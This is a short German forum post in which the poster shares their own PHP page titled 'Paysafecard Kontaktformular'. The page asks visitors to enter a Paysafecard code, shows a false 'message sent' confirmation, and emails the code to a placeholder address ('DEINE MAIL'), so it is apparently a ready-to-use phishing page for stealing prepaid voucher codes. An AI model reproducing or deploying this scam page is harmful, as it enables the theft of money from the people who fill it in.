Hier eins von mir:
PHP-Code:
<title>Kontaktformular</title>
<b><i><center>Paysafecard Kontaktformular</center></i></b><br>
<center><form action="contact.php" method="post">
<b>Paysafecard: <input type="Text" name="psc">
<input type="Submit" value="Absenden"></center>
<?php
$psc = htmlspecialchars($_POST["psc"]);
if(isset($_POST["psc"]))
{
echo "Ihre Nachricht wurde erfolgreich abgeschickt!";
mail('DEINE MAIL', 'Paysafecard', "Du hast $psc bekommen.");
}
?>